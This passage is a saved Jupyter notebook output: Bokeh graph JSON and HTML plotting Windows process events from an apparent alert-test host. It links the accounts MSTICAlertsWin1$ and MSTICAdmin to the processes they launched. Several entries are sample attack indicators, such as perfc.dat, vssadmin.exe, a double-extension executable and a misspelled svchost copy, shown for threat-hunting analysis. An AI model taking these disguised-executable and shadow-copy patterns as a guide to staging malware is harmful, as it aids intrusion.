C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\42424.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\1234.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat\",\"C:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"C:\\\\Windows\\\\System32\\\\vssadmin.exe\",\"C:\\\\Windows\\\\System32\\\\dllhost.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\Dism.exe\",\"C:\\\\Windows\\\\Temp\\\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\\\DismHost.exe\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\WinSxS\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\suchost.exe\"],\"ParentProcessName\":[null,\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe, C:\\\\Windows\\\\System32\\\\cmd.exe, C:\\\\Windows\\\\System32\\\\Dism.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",null,\"C:\\\\Windows\\\\System32\\\\cmd.exe, C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe, C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\Dism.exe\",\"C:\\\\Windows\\\\System32\\\\services.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\services.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe, C:\\\\Diagnostics\\\\UserTmp\\\\suchost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\"],\"SubjectDomainName\":[\"WORKGROUP\",null,null,null,null,\"MSTICAlertsWin1\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],\"SubjectLogonId\":[\"0x3e7\",null,null,null,null,\"0xfaac27\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],\"index\":[\"MSTICAlertsWin1$\",\"ASMHost.exe\",\"conhost.exe\",\"WmiPrvSE.exe\",\"cscript.exe\",\"MSTICAdmin\",\"reg.exe\",\"cmd.exe\",\"rundll32.exe\",\"42424.exe\",\"1234.exe\",\"tsetup.1.exe\",\"netsh.exe\",\"perfc.dat\",\"sdopfjiowtbkjfnbeioruj.exe\",\"doubleextension.pdf.exe\",\"vssadmin.exe\",\"dllhost.exe\",\"net.exe\",\"net1.exe\",\"Dism.exe\",\"DismHost.exe\",\"TrustedInstaller.exe\",\"TiWorker.exe\",\"regsvr32.exe\",\"svchost.exe\",\"win32calc.exe\",\"suchost.exe\"],\"node_color\":[\"lightblue\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightblue\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\"],\"node_role\":[\"source\",\"target\",\"target\",\"target\",\"target\",\"source\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\"],\"node_type\":[\"SubjectUserName\",\"Process\",\"Process\",\"Process\",\"Process\",\"SubjectUserName\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\"]},\"selected\":{\"id\":\"5376\"},\"selection_policy\":{\"id\":\"5375\"}},\"id\":\"5037\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"reg.exe\",\"text_font_size\":\"10pt\",\"x\":-0.8147209017696577,\"x_offset\":5,\"y\":0.03477918868331847,\"y_offset\":5},\"id\":\"5105\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5014\",\"type\":\"BasicTicker\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"WmiPrvSE.exe\",\"text_font_size\":\"10pt\",\"x\":0.535309497509175,\"x_offset\":5,\"y\":-0.45552007706756037,\"y_offset\":5},\"id\":\"5102\",\"type\":\"Label\"},{\"attributes\":{\"fill_color\":{\"field\":\"node_color\"},\"size\":{\"value\":25}},\"id\":\"5064\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"cmd.exe\",\"text_font_size\":\"10pt\",\"x\":0.14279924420796847,\"x_offset\":5,\"y\":0.004970909381066099,\"y_offset\":5},\"id\":\"5106\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"ASMHost.exe\",\"text_font_size\":\"10pt\",\"x\":1.0,\"x_offset\":5,\"y\":-0.3337706431942658,\"y_offset\":5},\"id\":\"5100\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5026\",\"type\":\"HelpTool\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"cscript.exe\",\"text_font_size\":\"10pt\",\"x\":0.8302192688743852,\"x_offset\":5,\"y\":-0.0938293348487763,\"y_offset\":5},\"id\":\"5103\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"rundll32.exe\",\"text_font_size\":\"10pt\",\"x\":-0.3678469657183548,\"x_offset\":5,\"y\":0.3848676476637343,\"y_offset\":5},\"id\":\"5107\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5025\",\"type\":\"ResetTool\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"5007\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Data Graph\"},\"id\":\"5003\",\"type\":\"Title\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"42424.exe\",\"text_font_size\":\"10pt\",\"x\":-0.269031641636231,\"x_offset\":5,\"y\":-0.07344006125055733,\"y_offset\":5},\"id\":\"5108\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"1234.exe\",\"text_font_size\":\"10pt\",\"x\":-0.6329639375142768,\"x_offset\":5,\"y\":-0.19862175699830953,\"y_offset\":5},\"id\":\"5109\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"tsetup.1.exe\",\"text_font_size\":\"10pt\",\"x\":-0.512923616281864,\"x_offset\":5,\"y\":-0.09540518430181799,\"y_offset\":5},\"id\":\"5110\",\"type\":\"Label\"},{\"attributes\":{\"graph_layout\":{\"1234.exe\":[-0.6329639375142768,-0.19862175699830953],\"42424.exe\":[-0.269031641636231,-0.07344006125055733],\"ASMHost.exe\":[1.0,-0.3337706431942658],\"Dism.exe\":[0.9459140218841707,0.004627562550967226],\"DismHost.exe\":[0.669801800941517,-0.546582429571834],\"MSTICAdmin\":[-0.4183963950736863,0.13855171347991266],\"MSTICAlertsWin1$\":[0.6420716731413041,-0.21124123870196587],\"TiWorker.exe\":[0.8238323209941043,-0.5237934371482205],\"TrustedInstaller.exe\":[0.7413026618782674,0.07943824792326848],\"WmiPrvSE.exe\":[0.535309497509175,-0.45552007706756037],\"cmd.exe\":[0.14279924420796847,0.004970909381066099],\"conhost.exe\":[0.11233332923837769,-0.08599575064228075],\"cscript.exe\":[0.8302192688743852,-0.0938293348487763],\"dllhost.exe\":[0.8721887146672033,-0.3902620871936239],\"doubleextension.pdf.exe\":[-0.7186937043667511,0.4081713282932616],\"net.exe\":[-0.40390922456612294,0.531363977543685],\"net1.exe\":[-0.1685700579278319,0.23939180289719725],\"netsh.exe\":[-0.8042899499644341,0.25986550348666587],\"perfc.dat\":[-0.2136076061163556,0.430649392760138],\"reg.exe\":[-0.8147209017696577,0.03477918868331847],\"regsvr32.exe\":[-0.5933660285387088,0.3115654015211929],\"rundll32.exe\":[-0.3678469657183548,0.3848676476637343],\"sdopfjiowtbkjfnbeioruj.exe\":[-0.7140263338942409,0.1411863421086912],\"suchost.exe\":[-0.41176246401951827,-0.2201837745601117],\"svchost.exe\":[0.9998508331645565,-0.1751324202793161],\"tsetup.1.exe\":[-0.512923616281864,-0.09540518430181799],\"vssadmin.exe\":[-0.5700062268389733,0.4951840280671709],\"win32calc.exe\":[-0.7015083122740198,-0.060834850601630415]}},\"id\":\"5048\",\"type\":\"StaticLayoutProvider\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"netsh.exe\",\"text_font_size\":\"10pt\",\"x\":-0.8042899499644341,\"x_offset\":5,\"y\":0.25986550348666587,\"y_offset\":5},\"id\":\"5111\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"perfc.dat\",\"text_font_size\":\"10pt\",\"x\":-0.2136076061163556,\"x_offset\":5,\"y\":0.430649392760138,\"y_offset\":5},\"id\":\"5112\",\"type\":\"Label\"},{\"attributes\":{\"data\":{\"TimeGenerated\":[\"2019-01-15 05:14:24.003\",\"2019-01-15 05:15:03.550\",\"2019-01-15 05:14:25.517\",\"2019-01-15 05:14:26.013\",\"2019-01-15 05:15:03.017\",\"2019-01-15 05:15:03.047\",\"2019-01-15 05:15:03.543\",\"2019-01-15 05:15:03.850\",\"2019-01-15 05:15:04.507\",\"2019-01-15 05:15:05.193\",\"2019-01-15 05:15:10.817\",\"2019-01-15 05:15:03.057\",\"2019-01-15 05:15:16.563\",\"2019-01-15 05:15:11.413\",\"2019-01-15 05:15:16.663\",\"2019-01-15 05:15:16.353\",\"2019-01-15 05:15:16.447\",\"2019-01-15 05:15:16.613\",\"2019-01-15 05:15:16.677\",\"2019-01-15 05:15:17.020\",\"2019-01-15 05:15:17.077\",\"2019-01-15 05:15:17.127\",\"2019-01-15 05:15:17.137\",\"2019-01-15 05:15:10.707\",\"2019-01-15 05:15:10.730\",\"2019-01-15 05:15:10.753\",\"2019-01-15 05:15:11.347\",\"2019-01-15 05:15:11.260\"],\"end\":[\"ASMHost.exe\",\"conhost.exe\",\"WmiPrvSE.exe\",\"cscript.exe\",\"dllhost.exe\",\"cmd.exe\",\"Dism.exe\",\"DismHost.exe\",\"TrustedInstaller.exe\",\"TiWorker.exe\",\"svchost.exe\",\"MSTICAdmin\",\"reg.exe\",\"cmd.exe\",\"rundll32.exe\",\"42424.exe\",\"1234.exe\",\"tsetup.1.exe\",\"netsh.exe\",\"perfc.dat\",\"sdopfjiowtbkjfnbeioruj.exe\",\"doubleextension.pdf.exe\",\"vssadmin.exe\",\"net.exe\",\"net1.exe\",\"regsvr32.exe\",\"win32calc.exe\",\"suchost.exe\"],\"start\":[\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"conhost.exe\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\"]},\"selected\":{\"id\":\"5378\"},\"selection_policy\":{\"id\":\"5377\"}},\"id\":\"5041\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"sdopfjiowtbkjfnbeioruj.exe\",\"text_font_size\":\"10pt\",\"x\":-0.7140263338942409,\"x_offset\":5,\"y\":0.1411863421086912,\"y_offset\":5},\"id\":\"5113\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"doubleextension.pdf.exe\",\"text_font_size\":\"10pt\",\"x\":-0.7186937043667511,\"x_offset\":5,\"y\":0.4081713282932616,\"y_offset\":5},\"id\":\"5114\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5079\",\"type\":\"NodesAndLinkedEdges\"},{\"attributes\":{\"coordinates\":null,\"edge_renderer\":{\"id\":\"5042\"},\"group\":null,\"inspection_policy\":{\"id\":\"5081\"},\"layout_provider\":{\"id\":\"5048\"},\"node_renderer\":{\"id\":\"5038\"},\"selection_policy\":{\"id\":\"5079\"}},\"id\":\"5035\",\"type\":\"GraphRenderer\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"vssadmin.exe\",\"text_font_size\":\"10pt\",\"x\":-0.5700062268389733,\"x_offset\":5,\"y\":0.4951840280671709,\"y_offset\":5},\"id\":\"5115\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"dllhost.exe\",\"text_font_size\":\"10pt\",\"x\":0.8721887146672033,\"x_offset\":5,\"y\":-0.3902620871936239,\"y_offset\":5},\"id\":\"5116\",\"type\":\"Label\"},{\"attributes\":{\"line_color\":{\"value\":\"#fdae61\"},\"line_width\":{\"value\":5}},\"id\":\"5059\",\"type\":\"MultiLine\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"net.exe\",\"text_font_size\":\"10pt\",\"x\":-0.40390922456612294,\"x_offset\":5,\"y\":0.531363977543685,\"y_offset\":5},\"id\":\"5117\",\"type\":\"Label\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"5005\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"net1.exe\",\"text_font_size\":\"10pt\",\"x\":-0.1685700579278319,\"x_offset\":5,\"y\":0.23939180289719725,\"y_offset\":5},\"id\":\"5118\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"5371\"},\"group\":null,\"major_label_policy\":{\"id\":\"5372\"},\"ticker\":{\"id\":\"5014\"}},\"id\":\"5013\",\"type\":\"LinearAxis\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Dism.exe\",\"text_font_size\":\"10pt\",\"x\":0.9459140218841707,\"x_offset\":5,\"y\":0.004627562550967226,\"y_offset\":5},\"id\":\"5119\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"DismHost.exe\",\"text_font_size\":\"10pt\",\"x\":0.669801800941517,\"x_offset\":5,\"y\":-0.546582429571834,\"y_offset\":5},\"id\":\"5120\",\"type\":\"Label\"},{\"attributes\":{\"line_alpha\":{\"value\":0.8}},\"id\":\"5054\",\"type\":\"MultiLine\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"TrustedInstaller.exe\",\"text_font_size\":\"10pt\",\"x\":0.7413026618782674,\"x_offset\":5,\"y\":0.07943824792326848,\"y_offset\":5},\"id\":\"5121\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"TiWorker.exe\",\"text_font_size\":\"10pt\",\"x\":0.8238323209941043,\"x_offset\":5,\"y\":-0.5237934371482205,\"y_offset\":5},\"id\":\"5122\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"regsvr32.exe\",\"text_font_size\":\"10pt\",\"x\":-0.5933660285387088,\"x_offset\":5,\"y\":0.3115654015211929,\"y_offset\":5},\"id\":\"5123\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5368\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"svchost.exe\",\"text_font_size\":\"10pt\",\"x\":0.9998508331645565,\"x_offset\":5,\"y\":-0.1751324202793161,\"y_offset\":5},\"id\":\"5124\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5369\",\"type\":\"AllLabels\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"win32calc.exe\",\"text_font_size\":\"10pt\",\"x\":-0.7015083122740198,\"x_offset\":5,\"y\":-0.060834850601630415,\"y_offset\":5},\"id\":\"5125\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"suchost.exe\",\"text_font_size\":\"10pt\",\"x\":-0.41176246401951827,\"x_offset\":5,\"y\":-0.2201837745601117,\"y_offset\":5},\"id\":\"5126\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5011\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"5371\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"5372\",\"type\":\"AllLabels\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"5027\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"source\":{\"id\":\"5037\"}},\"id\":\"5039\",\"type\":\"CDSView\"},{\"attributes\":{\"callback\":null,\"renderers\":[{\"id\":\"5038\"}],\"tooltips\":[[\"node_type\",\"@node_type\"],[\"NewProcessName\",\"@{NewProcessName}\"],[\"CommandLine\",\"@{CommandLine}\"],[\"SubjectDomainName\",\"@{SubjectDomainName}\"],[\"SubjectLogonId\",\"@{SubjectLogonId}\"],[\"ParentProcessName\",\"@{ParentProcessName}\"]]},\"id\":\"5087\",\"type\":\"HoverTool\"},{\"attributes\":{\"callback\":null,\"renderers\":[{\"id\":\"5042\"}],\"tooltips\":[[\"TimeGenerated\",\"@{TimeGenerated}\"]]},\"id\":\"5092\",\"type\":\"HoverTool\"},{\"attributes\":{\"source\":{\"id\":\"5041\"}},\"id\":\"5043\",\"type\":\"CDSView\"},{\"attributes\":{\"tools\":[{\"id\":\"5021\"},{\"id\":\"5022\"},{\"id\":\"5023\"},{\"id\":\"5024\"},{\"id\":\"5025\"},{\"id\":\"5026\"},{\"id\":\"5087\"},{\"id\":\"5092\"},{\"id\":\"5093\"},{\"id\":\"5094\"}]},\"id\":\"5028\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"5021\",\"type\":\"PanTool\"},{\"attributes\":{\"fill_color\":{\"value\":\"#abdda4\"},\"size\":{\"value\":25}},\"id\":\"5069\",\"type\":\"Circle\"},{\"attributes\":{\"fill_color\":{\"value\":\"#fdae61\"},\"size\":{\"value\":25}},\"id\":\"5074\",\"type\":\"Circle\"},{\"attributes\":{\"overlay\":{\"id\":\"5027\"}},\"id\":\"5023\",\"type\":\"BoxZoomTool\"},{\"attributes\":{},\"id\":\"5024\",\"type\":\"SaveTool\"},{\"attributes\":{\"axis\":{\"id\":\"5017\"},\"coordinates\":null,\"dimension\":1,\"group\":null,\"ticker\":null},\"id\":\"5020\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"5081\",\"type\":\"EdgesAndLinkedNodes\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"5041\"},\"glyph\":{\"id\":\"5054\"},\"group\":null,\"hover_glyph\":{\"id\":\"5049\"},\"selection_glyph\":{\"id\":\"5059\"},\"view\":{\"id\":\"5043\"}},\"id\":\"5042\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"5374\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"5375\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"5376\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"5377\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"5378\",\"type\":\"Selection\"}],\"root_ids\":[\"5002\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"b90fb536-33ad-4388-91e2-3281097627d9\",\"root_ids\":[\"5002\"],\"roots\":{\"5002\":\"3e2544bc-880b-4ef4-9100-763700d1181c\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "5002"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.plotting.figure.Figure\">Figure</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'5002', <span id=\"5497\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">above&nbsp;=&nbsp;[],</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_scale&nbsp;=&nbsp;1,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background_fill_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background_fill_color&nbsp;=&nbsp;'#ffffff',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">below&nbsp;=&nbsp;[LinearAxis(id='5013', ...)],</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">border_fill_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">border_fill_color&nbsp;=&nbsp;'#ffffff',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">center&nbsp;=&nbsp;[Grid(id='5016', ...), Grid(id='5020', ...), Label(id='5099', ...), Label(id='5100', ...), Label(id='5101', ...), Label(id='5102', ...), Label(id='5103', ...), Label(id='5104', ...), Label(id='5105', ...), Label(id='5106', ...), Label(id='5107', ...), Label(id='5108', ...), Label(id='5109', ...), Label(id='5110', ...), Label(id='5111', ...), Label(id='5112', ...), Label(id='5113', ...), Label(id='5114', ...), Label(id='5115', ...), Label(id='5116', ...), Label(id='5117', ...), Label(id='5118', ...), Label(id='5119', ...), Label(id='5120', ...), Label(id='5121', ...), Label(id='5122', ...), Label(id='5123', ...), Label(id='5124', ...), Label(id='5125', ...), Label(id='5126', ...)],</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_x_ranges&nbsp;=&nbsp;{},</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_x_scales&nbsp;=&nbsp;{},</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_y_ranges&nbsp;=&nbsp;{},</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_y_scales&nbsp;=&nbsp;{},</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">frame_height&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">frame_width&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;800,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">hidpi&nbsp;=&nbsp;True,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">inner_height&nbsp;=&nbsp;0,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">inner_width&nbsp;=&nbsp;0,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">left&nbsp;=&nbsp;[LinearAxis(id='5017', ...)],</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_factor&nbsp;=&nbsp;10,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_interval&nbsp;=&nbsp;300,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_threshold&nbsp;=&nbsp;2000,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_timeout&nbsp;=&nbsp;500,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">match_aspect&nbsp;=&nbsp;False,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: 